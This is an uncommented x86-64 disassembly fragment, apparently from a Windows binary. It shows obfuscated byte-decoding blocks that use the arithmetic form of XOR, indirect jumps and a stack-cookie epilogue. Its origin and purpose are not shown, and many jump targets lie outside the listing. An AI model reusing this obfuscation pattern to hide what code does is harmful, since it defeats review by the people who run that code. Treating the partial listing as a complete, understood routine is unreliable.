add dil, 0x17
jmp 0x1400ed125
jne 0x1400ecea4
lea ecx, [r9 + 0x54]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4c
jmp 0x1400ed125
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1400ecec6
lea ecx, [r9 + 0x58]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, sil
jmp 0x1400ed0c1
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1400ecedd
lea edx, [r9 + 0x5c]
mov ecx, 0x3e
jmp 0x1400ecd69
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1400ecf03
mov r11b, r9b
lea ecx, [r11 - 0x22]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x12
jmp 0x1400ed069
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1400ecb60
lea ecx, [r9 - 0x1e]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x2e
jmp 0x1400ed043
mov byte [rbp + r9 - 0x10], dil
jmp 0x1400ed131
mov cl, byte [rbp + r9 - 0x10]
mov r11b, r9b
mov al, r8b
lea edx, [rsi + r11]
and al, dl
sub cl, al
add cl, 0x14
lea edi, [rcx + rcx]
jmp 0x1400ed066
lea edx, [r9 - 0x16]
mov al, r8b
and al, dl
mov dil, r8b
add al, al
sub dil, al
sub dil, byte [rbp + r9 - 0x10]
sub dil, 0x66
jmp 0x1400ed0be
lea ecx, [r9 + 0x67]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x2f
jmp 0x1400ed125
lea edx, [r9 + 0x63]
mov al, r8b
and al, dl
mov dil, r8b
add al, al
sub dil, al
add dil, 0x4b
jmp 0x1400ed0be
lea ecx, [r9 - 0x1f]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x27
jmp 0x1400ed08a
lea ecx, [r9 + 0x5f]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x67
jmp 0x1400ed087
lea ecx, [r9 - 0x27]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x11
jmp 0x1400ed043
mov r11b, r9b
mov al, r8b
mov dil, r8b
lea edx, [r11 + 0x57]
and al, dl
add al, al
sub dil, al
sub dil, 0x61
add dil, dl
sub r11b, 0x59
mov al, r11b
and al, r8b
add al, al
sub r11b, al
add r11b, 0x6f
add r11b, r8b
mov byte [rbp + r9 - 0x10], r11b
jmp 0x1400ed043
lea ecx, [r9 - 0x2f]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x49
add r10, r12
sub r9, r12
jmp 0x1400ed131
mov r11b, r9b
mov al, r8b
mov dil, r8b
lea edx, [r11 - 0x33]
and al, dl
add al, al
sub dil, al
add dil, 0x65
add dil, dl
add r11b, 0x29
mov al, r11b
and al, r8b
add al, al
sub r11b, al
sub r11b, 0x1f
add r11b, r8b
add r11b, dil
mov byte [rbp + r9 - 0x10], r11b
add rbx, r10
or rcx, 0xffffffffffffffff
movzx eax, dil
sub rcx, rax
add r9, rcx
jmp 0x1400ed131
movabs rdx, 0x1b054d01f1f50647
mov dil, r11b
add rdx, r9
mov r8b, r11b
mov al, dl
and al, r11b
add al, al
sub dil, al
add dil, 0xf
add dil, dl
lea ecx, [r9 - 0x55]
add r10, r12
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x53
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 - 0x10], al
add rax, r10
sub r9, rax
lea edx, [r9 + 0x6c]
add rbx, r12
mov al, dl
mov ecx, 6
and al, r8b
sub cl, al
or rax, 0xffffffffffffffff
add cl, cl
sub rax, rbx
add cl, dl
add cl, r8b
mov byte [rbp + r9 - 0x10], cl
add r9, rax
jmp 0x1400ed125
lea rcx, [r9 + r14]
mov al, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x2b
movzx eax, byte [rbp + r9 - 0x10]
add rax, r10
add r9, rax
add r9, r12
jmp 0x1400ec784
add r9b, 0x45
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
add dil, 0x1d
jmp 0x1400ec781
sub r9b, 0x3d
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, 0x55
jmp 0x1400ec771
mov eax, dword [rbp + 0x17b759c]
jmp 0x1400ed184
mov eax, dword [rbp + 0xcc2d5d]
jmp 0x1400ed184
mov eax, dword [rbp - 0x10]
mov dword [0x140230370], eax
mov rcx, qword [rbp + 0x68]
xor rcx, rsp
call fcn.1401a4e10
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret